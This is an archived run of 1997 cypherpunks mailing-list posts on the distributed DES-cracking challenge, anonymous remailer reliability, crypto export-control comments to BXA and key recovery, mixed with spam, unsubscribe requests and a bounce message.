From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gbroiles-nospam@netbox.com (Greg Broiles)
Date: Sun, 23 Feb 1997 17:44:21 -0800 (PST)
To: cryptography@c2.net
Subject: Distributed cracks, law, and cryptoanarchy
Message-ID: <3310e0fa.5573759@library.airnews.net>
MIME-Version: 1.0
Content-Type: text/plain


Some thoughts about the distributed crack/reward distribution thing:

The "you must report results only to the crack organizers" rule can be
enforced if it's made into a contract. Even without a formal contract,
I think it's plausible to argue that pretending to participate in the
distributed crack, *and representing that to the organizers and
thereby gaining access to their private database of already-searched
keyspace*, and using that information for one's own private gain,
could reasonably be construed as fraud. (depending on your
jurisdiction, blah blah blah. But the general pattern - knowing
misrepresentation, foreseeable & intended reliance, loss to one party
is gain for another -  is right at the heart of common-law fraud. 

The "widely distributed computing" approach depends for economic
viability (as opposed to being just an amusing hobby) on preserving
the confidentiality of input and output datasets. This protection can
be (and will be) provided by both law and technology. The
technological side will likely depend on programs distributed as
executables only. This implies a client-side "sandbox" environment
such as Java so that the software can't get to any of the local
hardware (except the processor & display). 

If distributed crack organizers can be confident that they'll be able
to reap the benefits of their organizing, they can offer payments to
unsuccessful participants. This approach (tiny payments for idle
cycles) scales better to real-world distributed computing problems
than the all-or-nothing $10K approach. Because of the need for
confidentiality, real-world distributed computing problems are
unlikely to give participants a chance at a "big win" if they cheat
somehow. (For example, assume Eve  intercepts some ciphertext, and she
knows enough about the structure of it that she can predict some of
its contents (like message headers, or TCP/IP headers) - she will ask
for keys which decrypt [a tiny piece of] the headers, and save the
juicy data for herself. A cheating participant in the distributed
crack gains very little by keeping the winning result to him/herself,
unless she knows more about the context of Eve's interception.)

I'm suspicious of the idea that a lot of people are going to
meaningfully participate in the crack because they've got a "chance"
to win $10K; assuming a wide distribution of client software, the
chances that any particular client will hit the key is unlikely to be
better than 1 in 10,000 or so (and my hunch is it's more like 1 in
100,000) .. which means that the "chance" is worth somewhere between
$1 and $.10. Personally, I'd be more motivated by the idea that the
crack might help kill stupid export control laws. Then again, I'm one
of those people who won't buy lottery tickets.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 24 Feb 1997 06:50:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702241450.GAA20987@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk mix pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 24 Feb 97 6:46:43 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ++#*+#++*#*#     3:57 100.00%
weasel   config@weasel.owl.de             ++++++--++++  1:00:37  99.99%
winsock  winsock@rigel.cyberpass.net      .-----.----+  6:43:17  99.91%
dustbin  dustman@athensnet.com            +---------+   3:38:39  99.87%
squirrel mix@squirrel.owl.de              + + ++--++++    59:34  99.83%
lucifer  lucifer@dhp.com                   +++-+--++++    44:49  99.81%
exon     remailer@remailer.nl.com          *#++# *+#*#     1:49  99.78%
cyber    alias@alias.cyberpass.net        +++*-*+-+ **    33:47  99.43%
extropia remail@miron.vip.best.com        - ---_.__..  28:37:50  99.10%
jam      remailer@cypherpunks.ca           ** _**** **    53:24  98.84%
middle   middleman@jpunix.com              --   -- --+  3:19:18  97.67%
reno     middleman@cyberpass.net           +++  - .- +  1:51:29  97.38%
replay   remailer@replay.com               ---++ --***    48:23  97.36%
balls    remailer@huge.cajones.com         *#_.-####    3:58:16  93.66%
haystack haystack@holy.cow.net              **+*   ##      6:32  91.52%
mix      mixmaster@remail.obscura.com     __          158:04:34  89.24%
shaman   remailer@lycaeum.org                        *    17:04  49.94%
wazoo    remailer@wazoo.com               +*+++           37:27  21.84%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Feb 1997 07:07:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: TMN_yet
Message-ID: <1.5.4.32.19970224150046.006fea50@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've received reports from Kuala Lumpur on the two TMnet 
hacks last week that led to a shutdown, with more detail than
Reuters:

TMN_yet





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Feb 1997 07:10:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: BON_ker
Message-ID: <1.5.4.32.19970224150424.006fee44@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-24-97:

"OECD to map out common security framework for online shopping"

"Big-Bank Group Seeks To Control Destiny Of Payment System"

"GTE Takes CyberTrust To Japan"

"GSA Announces Access America Plan"

   Key initiatives of the Access America plan, being run by the 
   GSA's Office of Government-wide Policy (OGP), include: providing 
   support to interagency groups; playing a central role in developing 
   card technologies; expanding the current electronic benefits transfer 
   (EBT) systems; and providing information technology training to
   government executives.

-----

BON_ker





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Feb 1997 08:49:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: CDM_aok
Message-ID: <1.5.4.32.19970224164243.00726864@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-24-97. Financial Times:

"Japan is poised to adopt CDMA for digital mobile phones,
dealing a blow to European ambitions to make GSM the
world standard."

Congrats to Qualcomm! 

Wonder if TIA/NSA is ready to bolster CAVE, or is this a 
anti-GSM global deal to boost crypto-weak wireless?

-----

CDM_aok





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vangelis <vangelis@qnis.net>
Date: Mon, 24 Feb 1997 14:00:08 -0800 (PST)
To: Marc Horowitz <marc@cygnus.com>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3310e0fa.5573759@library.airnews.net>
Message-ID: <3312104C.4898@qnis.net>
MIME-Version: 1.0
Content-Type: text/plain


Marc Horowitz wrote:
> >> The "you must report results only to the crack organizers" rule can be
> >> enforced if it's made into a contract. Even without a formal contract,
> 
> I don't want to sign a formal contract.  I want to break the key.  I
> don't care about the money.  I can buy a lottery ticket if I want a
> small chance at winning a lot of money.

> I'll participate when I can download something, type make, run it, and
> forget about it.
 
My feelings EXACTLY.  And the same reasoning behind my machine not being
put to work on these DES/RC4 cracking projects.  Instead it spends its
off-cycles factoring Merseinne primes - why?  Because it's the only
charity I can donate my spare CPU power to, WITHOUT having to sign forms
and other beauracratic garbage.
-- 
Vangelis <vangelis@qnis.net> /\oo/\
Finger for public key. PGP KeyID 1024/A558B025
PGP Fingerprint AE E0 BE 68 EE 7B CF 04  02 97 02 86 F0 C7 69 25
Life is my religion, the world is my altar.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Mon, 24 Feb 1997 13:32:27 -0800 (PST)
To: cryptography@c2.net
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3310e0fa.5573759@library.airnews.net>
Message-ID: <t53k9nx28nx.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm sorry to flame, but I'm getting sick of this.

>> The "you must report results only to the crack organizers" rule can be
>> enforced if it's made into a contract. Even without a formal contract,

I don't want to sign a formal contract.  I want to break the key.  I
don't care about the money.  I can buy a lottery ticket if I want a
small chance at winning a lot of money.

I'll participate when I can download something, type make, run it, and
forget about it.

Invoving money money seems to be making it harder, not easier, to do
this.  I thought the reason to crack the key was to demonstrate how
weak DES is.  If the person who cracks the key collects the reward
himself, so what?  A good, public nail in the coffin of restrictions
on crypto is worth the risk that someone steals the $10k, IMHO.

I've got my idle cycles waiting....

		Marc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 24 Feb 1997 14:10:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: BXA Site for Crypto Comments
Message-ID: <1.5.4.32.19970224220418.00822c1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Bureau of Export Administration has set up a Web page
to provide the public comments submitted on transferring encryption 
items from the US Munitions List to the Commerce Control List. 

Here's the URL and index of hyperlinked comments on 24 February 1997;
note the 12MB comments by Technical Communications Corp.:

http://www.bxa.doc.gov/pubcomts.htm

--------------------------------------------------------------------

                         Public Comments
               Encryption Items Transferred from the
                    U.S. Munitions List to the
                       Commerce Control List

                          December 30, 1996
                            (61 FR 68572)



  1. University of Waterloo, 32K 
  2. John and Laren Navas, 35K
  3. Cylink, 49K 
  4. Motorola, 212K
  5. Secure Computing, 78K 
  6. Tuttle and Taylor, 313K
  7. Lyman C. Welch, 78K 
  8. ISTAC, 138K 
  9. American Association for the Advancement of Science, 230K 
 10. Trusted information Systems, Inc., 240K 
 11. IBM, 251K 
 12. Hughes Electronics, 250K 
 13. Industry Coalition on Technology Transfer (ICOTT), 196K 
 14. Murphy & Weber, 120K 
 15. Steptoe & Johnson LLP, 229K 
 16. America Online, Inc., 238K 
 17. Citibank, 1296K
 18. NCR, 104K 
 19. American Civil Liberties Union (ACLU), 138K 
 20. United States Council for International Business, 449K 
 21. V-One, 134K 
 22. William A. Root, 525K 
 23. Thoroughbred Security Solutions, Ltd., 181K
 24. Microsoft, 2783K 
 25. Commercial Internet Exchange Association, 340K
 26. The Direct Marketing Association, Inc., 126K 
 27. Technical Communications Corp., 11896K 
 28. Software Publishers Association, 488K 
 29. Alston & Bird, 380K 
 30. Association for Computing Machinery, 417K 
 31. National Association of Manufacturers, 269K 
 32. Computer & Communications Industry Association, 374K 
 33. Dewey Ballantine, 284K 
 34. American Bankers Association, 482K 
 35. Steptoe & Johnson for Visa USA Inc. and Visa International, 192K 
 36. Winston & Strawn for ICOTT, 204K 
 37. Sun Microsystems, 331K 
 38. Key Escrow Working Group, 408K 
 39. Hewlett Packard, 336K 
 40. Scientific-Atlanta, Inc., 158K 
 41. Timothy Hinds, 66K 
 42. Information Security Incorporated, 119K 
 43. Securities Industry Association, 315K






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 25 Feb 1997 07:15:08 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Clipper article in  Cu Digest, #9.10, Wed 20 Feb 97
In-Reply-To: <3.0.1.32.19970221091636.00639720@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970224182039.00625ce8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:44 AM 2/22/97 -0800, Toto wrote:
>Bill Stewart wrote:
>> >  DOD has for years pressured civilian agencies to use government 
>> >  escrow technology, but the agencies were wary of the law 
>> >  enforcement access.
>> >  Stephen Walker, president and chief executive officer of Trusted
>> >  Information Systems Inc. (TIS), said the policy will remove the 
>> >  last remnants of the Clipper and serve as an official endorsement
>> >  of key recovery technology.
>  So now civilian agencies should 'not' be wary of key recovery?
>  If the DOD recommended breathing, I'd stop.

It's nice to know that the NSA's own government hasn't trusted Clipper
enough to widely adopt it, and I was as impressed as you were with
Walker's sleaziness...  Either the civilian Feds don't believe the 
"legitimate needs of law enforcement" apply to them, or they don't trust 
the spooks to handle their keys carefully, or (more likely) there aren't
any Clipper products that really meet their operational needs.  

Back when the STU-III was still called the "Future Secure Voice System"
the DoD was telling manufacturers they'd probably sell 500,000 of them,
between the DoD unclassified work, law enforcement users, defense 
contractors, and similar riff-raff.  I don't know how many were actually 
sold, but I'd be surprised if it's a tenth of that; the government
was too cheap to spend $2-3K per box for that many users.

"Key Recovery" is a broader and sleazier term than "key escrow";
it doesn't force you to buy a specific espionage-enabled product,
as long as you can demonstrate to the government that they can break in.
Rot13 and RC4/40 inherently provide key recovery (:-),
and DES presumably does (using NSA custom hardware).  
But PGP also gives you key recovery - just Cc: your Trusted Third Party 
whenever you encrypt something......  (Hmmm.  I don't trust the
Democrat or Republican Parties - guess that leaves the Libertarians? :-)


P.S. On breathing - that's not DoD jurisdiction; the FDA regulates oxygen ...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@Exabyte.COM>
Date: Tue, 25 Feb 1997 08:40:09 -0800 (PST)
To: Vangelis <vangelis@qnis.net>
Subject: Re: Distributed cracks, law, and cryptoanarchy
In-Reply-To: <3312104C.4898@qnis.net>
Message-ID: <Pine.SUN.3.95.970225092251.18799A-100000@gedora>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 24 Feb 1997, Vangelis wrote:

> > I don't want to sign a formal contract.  I want to break the key.  I
> > don't care about the money.  I can buy a lottery ticket if I want a
> > small chance at winning a lot of money.
> 
> > I'll participate when I can download something, type make, run it, and
> > forget about it.
>  
> My feelings EXACTLY.  And the same reasoning behind my machine not being
> put to work on these DES/RC4 cracking projects.  Instead it spends its
> off-cycles factoring Merseinne primes - why?  Because it's the only
> charity I can donate my spare CPU power to, WITHOUT having to sign forms
> and other beauracratic garbage.

For win32, just get deskr or brydDES. (For North Americans, a deskr beta
is available via http://www.csn.net/~mpj/crypto.htm; BrydDES is available
internationally at http://inet.uni-c.dk/~svolaf/des.htm). For the record,
Peter Trei is still unsure if my export controlled site is totally
EAR-compliant, so don't blame him if you don't think it is. I, however,
believe that it is fully compliant, knowing full well the ease of
bypassing it. Please don't -- it only eggs the feds into making the law
worse. Get BrydDES if you are outside of North America. It is faster,
anyway, so far, although Peter is gaining speed as he tweaks his code. 


 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mlmdream@concentric.net
Date: Tue, 25 Feb 1997 01:39:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Receive multiple checks while promoting only ONE company!!
Message-ID: <199702250914.KAA11867@tor.abc.se>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Hello!

If you are in any Network Marketing program ask yourself 
this question...

WHY? Would you want to build a downline in just ONE
program and receive just ONE check?  When you could 
receive up to 20 CHECKS A MONTH with no more effort 
than just building a single downline!  

Because it's the smart thing to do!!! 

When you are ready to embark on this lucrative 
opportunity go sign up at 
http://members.tripod.com/~brianj/index.html
for a FREE web site to start building your downline.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Catherine Larsen <cwood@ucsd.edu>
Date: Tue, 25 Feb 1997 10:28:58 -0800 (PST)
To: czyz@cs.stanford.edu
Subject: take me off this list
Message-ID: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
MIME-Version: 1.0
Content-Type: text/plain


I don't know who generated this big long list, but please take me off. And
please, if you are replying to the first message about gifs, don't reply to
all, reply only to that one person who sent the message.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 25 Feb 1997 11:15:17 -0800 (PST)
To: postmaster@tripod.com
Subject: SPAMMER pretending to be on concentric.net using your system
In-Reply-To: <199702250914.KAA11867@tor.abc.se>
Message-ID: <3.0.1.32.19970225102834.0063ca68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I've attached the mail headers below.

At 10:14 AM 2/25/97 +0100, mlmdream@concentric.net wrote:
>I_Love_SPAM,
>
>Hello!
>
>If you are in any Network Marketing program ask yourself 
>this question...
>
>WHY? Would you want to build a downline in just ONE
>program and receive just ONE check?  When you could 
>receive up to 20 CHECKS A MONTH with no more effort 
>than just building a single downline!  
>
>Because it's the smart thing to do!!! 
>
>When you are ready to embark on this lucrative 
>opportunity go sign up at 
>http://members.tripod.com/~brianj/index.html
>for a FREE web site to start building your downline.
>

======================================================================
Here are the mail headers
======================================================================
Return-Path: <owner-cypherpunks@sirius.infonex.com>
Received: from sirius.infonex.com (majordom@sirius.infonex.com
[206.170.114.2]) by ixmail1.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
	id BAA22800; Tue, 25 Feb 1997 01:56:44 -0800 (PST)
Received: (from majordom@localhost) by sirius.infonex.com (8.7.3/8.7.3) id
BAA29262 for cypherpunks-outgoing; Tue, 25 Feb 1997 01:49:08 -0800 (PST)
Received: from rigel.infonex.com (root@rigel.infonex.com [206.170.114.3])
by sirius.infonex.com (8.7.3/8.7.3) with ESMTP id BAA29257 for
<cypherpunks@sirius.infonex.com>; Tue, 25 Feb 1997 01:49:06 -0800 (PST)
Received: from toad.com (toad.com [140.174.2.1]) by rigel.infonex.com
(8.7.3/8.7.3) with ESMTP id BAA05208 for <cypherpunks@cyberpass.net>; Tue,
25 Feb 1997 01:44:33 -0800 (PST)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id BAA16509;
Tue, 25 Feb 1997 01:39:44 -0800 (PST)
Received: from tor.abc.se (root@tor.abc.se [192.36.170.11]) by toad.com
(8.7.5/8.7.3) with SMTP id BAA16504; Tue, 25 Feb 1997 01:39:33 -0800 (PST)
From: mlmdream@concentric.net
Received: from Computer by tor.abc.se (SMI-8.6/SMI-SVR4)
	id KAA11867; Tue, 25 Feb 1997 10:14:07 +0100
Date: Tue, 25 Feb 1997 10:14:07 +0100
Message-Id: <199702250914.KAA11867@tor.abc.se>
To: cypherpunks@toad.com
Subject: Receive multiple checks while promoting only ONE company!!
Sender: owner-cypherpunks@sirius.infonex.com
Precedence: bulk
Reply-To: mlmdream@concentric.net
X-List: cypherpunks@cyberpass.net


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Feb 1997 12:55:17 -0800 (PST)
To: Catherine Larsen <cwood@ucsd.edu>
Subject: Re: take me off this list
In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
Message-ID: <33135FE1.40E5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Me too.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 25 Feb 1997 13:35:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Welcome GameSpot and VideoGameSpot!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.9222.02251997100001.186810@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------
ZDNET ANNOUNCEMENT          2/24/97
-----------------------------------------------------------------------

Do you like to play games? No, not those kinds of games! You know, PC or
video games. If the answer is absolutely, sometimes or even just maybe,
then you'll want to check out GameSpot and VideoGameSpot. These are the
hottest, and most fun sites on the Web for information about PC and video
games, bar none! (They are so good, they are now serving as the Games
Channel on ZDNet!)

GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
news, in-depth features, strategy guides, previews, hints and cheats on
all of the latest PC games and hardware. They cover everything from the
most hyper action games to the more sedate, but mind-wrenching puzzle
games, and give you what you need both before you buy a game and after you
bring it home. No one else's online coverage of the PC game industry even
comes close.

VideoGameSpot (www.videogamespot.com) provides this same information, but
about video games played on the Sega Saturn, Sony Playstation and
Nintendo64 consoles. Of course you can't download a demo of a video game,
so they provide custom quick-time movies to give you a tantalizing taste
of each title.

Both sites encourage readers to submit their own reviews of games. Think
their review stinks? Submit your own and show the world that you're the
real expert!

And if winning free games or hardware has appeal (not unlike a lemon),
then point old man browser over to these sites, PRONTO!! GameSpot and
VideoGameSpot give away thousands of dollars in prizes every month (almost
$40,000 in February). The contests are simple and fun, and there are
hundreds of winners who could tell you how easy it is to get a free game
in the mail. (Winner! Winner! Chicken Dinner!!)

To visit the sites, go to the URL's listed below, or link to them from the
ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
VideoGameSpot!

ZDNet Games
http://www.zdnet.com/games

GameSpot:
http://www.gamespot.com

VideoGameSpot:	
http://www.videogamespot.com

________________________________________________      

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

--To subscribe to ZDNet Announcements, please send mail to:
zdnet_announce-on@lists.zdnet.com       

You can leave the subject and body blank.       

--To unsubscribe to ZDNet Announcements, please send mail to:
zdnet_announce-off@lists.zdnet.com      

You can leave the subject and body blank.   
________________________________________________   

Powered by Mercury Mail: http://www.merc.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Feb 1997 13:36:39 -0800 (PST)
To: Catherine Larsen <cwood@ucsd.edu>
Subject: Re: take me off this list
In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
Message-ID: <33136A83.79AA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Me too, also, as well.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 25 Feb 1997 12:26:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: EI Comments Hypertext
Message-ID: <1.5.4.32.19970225202015.006e8270@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We're transcribing and hypertexting the 43 PDF-formatted 
Public Comments submitted to BXA on the transfer of 
encryption items from the USML to the CCL.

The first 19 comments are at:

  http://jya.com/bxapc1.htm  (194K)

1.  University of Waterloo
2.  John and Laren Navas
3.  Cylink
4.  Motorola
5.  Secure Computing
6.  Tuttle and Taylor
7.  Lyman C. Welch 
8.  ISTAC
9.  American Association for the Advancement of Science
10. Trusted information Systems, Inc.
11. IBM
12. Hughes Electronics
13. Industry Coalition on Technology Transfer (ICOTT)
14. Murphy & Weber for Nokia
15. Steptoe & Johnson LLP
16. America Online, Inc.
17. Citibank
18. NCR
19. American Civil Liberties Union (ACLU)

The others should be ready late tonight or tomorrow 
morning.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Feb 1997 13:49:28 -0800 (PST)
To: Catherine Larsen <cwood@ucsd.edu>
Subject: Re: take me off this list
In-Reply-To: <1.5.4.16.19970225111952.2307a0ac@popmail.ucsd.edu>
Message-ID: <33137917.3DE9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
Date: Tue, 25 Feb 1997 14:03:49 -0800 (PST)
Subject: Failed mail
Message-ID: <ja219839.mbx>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------------
Could not resolve the address "lists.zdnet.com "
Please check you have entered the email address correctly.
---------------------------------------------------------------------
Your message follows:


>Received: from [206.155.199.6] by smtp1.abraxis.com (NTMail 3.01.03) id ja219839; Tue, 25 Feb 1997 17:09:24 -0500
>Subject: Remove
>Date: Tue, 25 Feb 1997 17:09:24 -0500
>Message-Id: <22092418045846@abraxis.com>
>
>-----------------------------------------------------------------------
>ZDNET ANNOUNCEMENT          2/24/97
>-----------------------------------------------------------------------
>
>Do you like to play games? No, not those kinds of games! You know, PC or
>video games. If the answer is absolutely, sometimes or even just maybe,
>then you'll want to check out GameSpot and VideoGameSpot. These are the
>hottest, and most fun sites on the Web for information about PC and video
>games, bar none! (They are so good, they are now serving as the Games
>Channel on ZDNet!)
>
>GameSpot (www.gamespot.com) gives you the most up-to-date reviews, demos,
>news, in-depth features, strategy guides, previews, hints and cheats on
>all of the latest PC games and hardware. They cover everything from the
>most hyper action games to the more sedate, but mind-wrenching puzzle
>games, and give you what you need both before you buy a game and after you
>bring it home. No one else's online coverage of the PC game industry even
>comes close.
>
>VideoGameSpot (www.videogamespot.com) provides this same information, but
>about video games played on the Sega Saturn, Sony Playstation and
>Nintendo64 consoles. Of course you can't download a demo of a video game,
>so they provide custom quick-time movies to give you a tantalizing taste
>of each title.
>
>Both sites encourage readers to submit their own reviews of games. Think
>their review stinks? Submit your own and show the world that you're the
>real expert!
>
>And if winning free games or hardware has appeal (not unlike a lemon),
>then point old man browser over to these sites, PRONTO!! GameSpot and
>VideoGameSpot give away thousands of dollars in prizes every month (almost
>$40,000 in February). The contests are simple and fun, and there are
>hundreds of winners who could tell you how easy it is to get a free game
>in the mail. (Winner! Winner! Chicken Dinner!!)
>
>To visit the sites, go to the URL's listed below, or link to them from the
>ZDNet Games channel (www.zdnet.com/games). See you soon at GameSpot and
>VideoGameSpot!
>
>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NTMail <postmaster@abraxis.com>
